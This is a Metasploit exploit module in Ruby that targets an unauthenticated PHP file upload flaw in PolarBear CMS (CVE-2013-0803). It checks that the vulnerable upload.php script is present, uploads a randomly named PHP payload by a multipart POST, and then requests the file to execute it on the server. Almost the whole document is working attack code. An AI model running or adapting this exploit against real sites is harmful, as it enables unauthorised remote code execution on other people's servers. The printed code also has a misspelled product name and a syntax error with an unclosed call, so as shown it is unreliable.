PolarPearCMS – Arbitrary ‘.PHP’ File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'PolarPearCms PHP File Upload Vulnerability', 'Description' => %q{ This module exploits a file upload vulnerability found in PlarPear CMS By abusing the upload.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' => [ 'Fady Mohamed Osman' # @Fady_Osman ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-0803' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 21 2012')) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to Polarbearcms', '/polarbearcms']) , OptString.new('UPLOADDIR', [true, 'The directory to upload to starting from web root. This should be writable', '/polarbearcms']) ], self.class) end def check uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php') }) if not res or res.code != 200 return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Appears end def exploit uri = target_uri.path upload_dir = normalize_uri("#{datastore['UPLOADDIR']}/") peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true) data = Rex::MIME::Message.new data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/',, nil, nil, "form-data; name=\"folder\"") post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') print_status("#{peer} - Uploading payload #{@payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', "upload.php?folder=#{upload_dir}"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res or res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed") end upload_uri = "#{upload_dir}#{@payload_name}" print_status("#{peer} - Executing payload #{@payload_name}") res = send_request_raw({ 'uri' => upload_uri, 'method' => 'GET' }) end end |